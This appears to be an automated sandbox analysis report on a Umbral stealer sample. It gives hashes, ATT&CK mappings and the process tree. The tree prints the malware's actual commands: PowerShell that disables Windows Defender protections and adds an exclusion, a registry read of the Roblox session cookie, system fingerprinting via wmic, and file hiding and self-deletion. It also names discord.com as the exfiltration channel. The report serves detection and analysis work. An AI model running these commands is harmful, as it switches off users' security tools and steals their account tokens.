umbral | 414580a17879ffa22dca7db17495c76ed55a56fcebdcb4ebd75a149032c3829e

Analysis

max time kernel
449s
max time network
450s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
29-01-2025 13:06

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General

Target

forvm.exe
Size

229KB
MD5

8e4f1362ab1c72db47a4b07a8bdd800e
SHA1

6dd446dc221ad2bf3dab5a89db607d00c8a05e84
SHA256

414580a17879ffa22dca7db17495c76ed55a56fcebdcb4ebd75a149032c3829e
SHA512

01a594b793e5a75a36ce82c7a8a367dcf5de9a0147d96a4ab7946ae00aaa49fcd57606b0ef7443132bdb977fa605ffa0308ecb2f1e8a4b3404c49d4058204972
SSDEEP

6144:FloZM9rIkd8g+EtXHkv/iD4likaQWRJ6NvSgR1Et4bb8e1mBCi:HoZOL+EP8likaQWRJ6NvSgR1Ec0X

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4936-1-0x0000025C71550000-0x0000025C71590000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3392	powershell.exe
2700	powershell.exe
1596	powershell.exe
4780	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	forvm.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
976	cmd.exe
1884	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2140	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1884	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3392	powershell.exe
3392	powershell.exe
2700	powershell.exe
2700	powershell.exe
1596	powershell.exe
1596	powershell.exe
2912	powershell.exe
2912	powershell.exe
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	forvm.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2708	wmic.exe
Token: SeSecurityPrivilege	2708	wmic.exe
Token: SeTakeOwnershipPrivilege	2708	wmic.exe
Token: SeLoadDriverPrivilege	2708	wmic.exe
Token: SeSystemProfilePrivilege	2708	wmic.exe
Token: SeSystemtimePrivilege	2708	wmic.exe
Token: SeProfSingleProcessPrivilege	2708	wmic.exe
Token: SeIncBasePriorityPrivilege	2708	wmic.exe
Token: SeCreatePagefilePrivilege	2708	wmic.exe
Token: SeBackupPrivilege	2708	wmic.exe
Token: SeRestorePrivilege	2708	wmic.exe
Token: SeShutdownPrivilege	2708	wmic.exe
Token: SeDebugPrivilege	2708	wmic.exe
Token: SeSystemEnvironmentPrivilege	2708	wmic.exe
Token: SeRemoteShutdownPrivilege	2708	wmic.exe
Token: SeUndockPrivilege	2708	wmic.exe
Token: SeManageVolumePrivilege	2708	wmic.exe
Token: 33	2708	wmic.exe
Token: 34	2708	wmic.exe
Token: 35	2708	wmic.exe
Token: 36	2708	wmic.exe
Token: SeIncreaseQuotaPrivilege	2708	wmic.exe
Token: SeSecurityPrivilege	2708	wmic.exe
Token: SeTakeOwnershipPrivilege	2708	wmic.exe
Token: SeLoadDriverPrivilege	2708	wmic.exe
Token: SeSystemProfilePrivilege	2708	wmic.exe
Token: SeSystemtimePrivilege	2708	wmic.exe
Token: SeProfSingleProcessPrivilege	2708	wmic.exe
Token: SeIncBasePriorityPrivilege	2708	wmic.exe
Token: SeCreatePagefilePrivilege	2708	wmic.exe
Token: SeBackupPrivilege	2708	wmic.exe
Token: SeRestorePrivilege	2708	wmic.exe
Token: SeShutdownPrivilege	2708	wmic.exe
Token: SeDebugPrivilege	2708	wmic.exe
Token: SeSystemEnvironmentPrivilege	2708	wmic.exe
Token: SeRemoteShutdownPrivilege	2708	wmic.exe
Token: SeUndockPrivilege	2708	wmic.exe
Token: SeManageVolumePrivilege	2708	wmic.exe
Token: 33	2708	wmic.exe
Token: 34	2708	wmic.exe
Token: 35	2708	wmic.exe
Token: 36	2708	wmic.exe
Token: SeIncreaseQuotaPrivilege	2076	wmic.exe
Token: SeSecurityPrivilege	2076	wmic.exe
Token: SeTakeOwnershipPrivilege	2076	wmic.exe
Token: SeLoadDriverPrivilege	2076	wmic.exe
Token: SeSystemProfilePrivilege	2076	wmic.exe
Token: SeSystemtimePrivilege	2076	wmic.exe
Token: SeProfSingleProcessPrivilege	2076	wmic.exe
Token: SeIncBasePriorityPrivilege	2076	wmic.exe
Token: SeCreatePagefilePrivilege	2076	wmic.exe
Token: SeBackupPrivilege	2076	wmic.exe
Token: SeRestorePrivilege	2076	wmic.exe
Token: SeShutdownPrivilege	2076	wmic.exe
Token: SeDebugPrivilege	2076	wmic.exe
Token: SeSystemEnvironmentPrivilege	2076	wmic.exe
Token: SeRemoteShutdownPrivilege	2076	wmic.exe
Token: SeUndockPrivilege	2076	wmic.exe
Token: SeManageVolumePrivilege	2076	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 2844	4936	forvm.exe	77
PID 4936 wrote to memory of 2844	4936	forvm.exe	77
PID 4936 wrote to memory of 3392	4936	forvm.exe	79
PID 4936 wrote to memory of 3392	4936	forvm.exe	79
PID 4936 wrote to memory of 2700	4936	forvm.exe	81
PID 4936 wrote to memory of 2700	4936	forvm.exe	81
PID 4936 wrote to memory of 1596	4936	forvm.exe	83
PID 4936 wrote to memory of 1596	4936	forvm.exe	83
PID 4936 wrote to memory of 2912	4936	forvm.exe	85
PID 4936 wrote to memory of 2912	4936	forvm.exe	85
PID 4936 wrote to memory of 2708	4936	forvm.exe	87
PID 4936 wrote to memory of 2708	4936	forvm.exe	87
PID 4936 wrote to memory of 2076	4936	forvm.exe	90
PID 4936 wrote to memory of 2076	4936	forvm.exe	90
PID 4936 wrote to memory of 5008	4936	forvm.exe	92
PID 4936 wrote to memory of 5008	4936	forvm.exe	92
PID 4936 wrote to memory of 4780	4936	forvm.exe	94
PID 4936 wrote to memory of 4780	4936	forvm.exe	94
PID 4936 wrote to memory of 2140	4936	forvm.exe	96
PID 4936 wrote to memory of 2140	4936	forvm.exe	96
PID 4936 wrote to memory of 976	4936	forvm.exe	98
PID 4936 wrote to memory of 976	4936	forvm.exe	98
PID 976 wrote to memory of 1884	976	cmd.exe	100
PID 976 wrote to memory of 1884	976	cmd.exe	100

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2844	attrib.exe

C:\Users\Admin\AppData\Local\Temp\forvm.exe
"C:\Users\Admin\AppData\Local\Temp\forvm.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\forvm.exe"
  2⤵
  - Views/modifies file attributes
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\forvm.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2076
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\forvm.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dc4dd6766dd68388d8733f1b729f87e9

SHA1
7b883d87afec5be3eff2088409cd1f57f877c756

SHA256
3407d8ad0c68a148aef81c7f124849573ac02097acd15f9bbe80f86e0498e826

SHA512
3084c1b7bb0fd998cddb8c917bac87f163a0f134a420158db4f354cb81ec1d5d65d3bac1d9b3e11b0a6707deacece47f819b1ed55ddf2b1d287fbdb244bf65a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
e7bffbf82d0bc5124e1bfb2748dbc2df

SHA1
4810e4cb40c9aee1b43dd5f4292ad02743228b63

SHA256
98d65b9f634bc6db4c7eb79ef3b0efa0b42edaf4fd686ef6cb295c35a557467d

SHA512
7f61dd4c23a6c41ca4a97bcf83bb342654a63f61dac42ffdb802bdc0c6ac84efc21819ca6533bb7717b3162c810536f489af5ed985331125ebda6f0cf3db5126

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ac0579ce15bd8b27182f5567dc0b0840

SHA1
d64b83f567a90a1ab68922b9e38837d753cc9dfb

SHA256
0d255f03328df489c76fe2e287a27ce2792b1074226a47a17a7dd8f1a3a9184a

SHA512
d10507926f1b6bc7b29ae36435eff2bb352d24187696e3dd7599b3afd301cd0b5eae27737704171049e7d951562170cdf2030478e44b3e5ff71e1b6b7937761c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ky4falhw.pjz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3392-19-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/3392-14-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/3392-15-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/3392-16-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/3392-11-0x000002389D330000-0x000002389D352000-memory.dmp

Filesize
136KB

Download
memory/3392-13-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/3392-12-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-35-0x0000025C71AC0000-0x0000025C71ADE000-memory.dmp

Filesize
120KB

Download
memory/4936-34-0x0000025C73D10000-0x0000025C73D60000-memory.dmp

Filesize
320KB

Download
memory/4936-33-0x0000025C73D90000-0x0000025C73E06000-memory.dmp

Filesize
472KB

Download
memory/4936-0-0x00007FFCC0B13000-0x00007FFCC0B15000-memory.dmp

Filesize
8KB

Download
memory/4936-2-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download
memory/4936-70-0x0000025C71AF0000-0x0000025C71AFA000-memory.dmp

Filesize
40KB

Download
memory/4936-71-0x0000025C73D60000-0x0000025C73D72000-memory.dmp

Filesize
72KB

Download
memory/4936-1-0x0000025C71550000-0x0000025C71590000-memory.dmp

Filesize
256KB

Download
memory/4936-86-0x00007FFCC0B13000-0x00007FFCC0B15000-memory.dmp

Filesize
8KB

Download
memory/4936-91-0x00007FFCC0B10000-0x00007FFCC15D2000-memory.dmp

Filesize
10.8MB

Download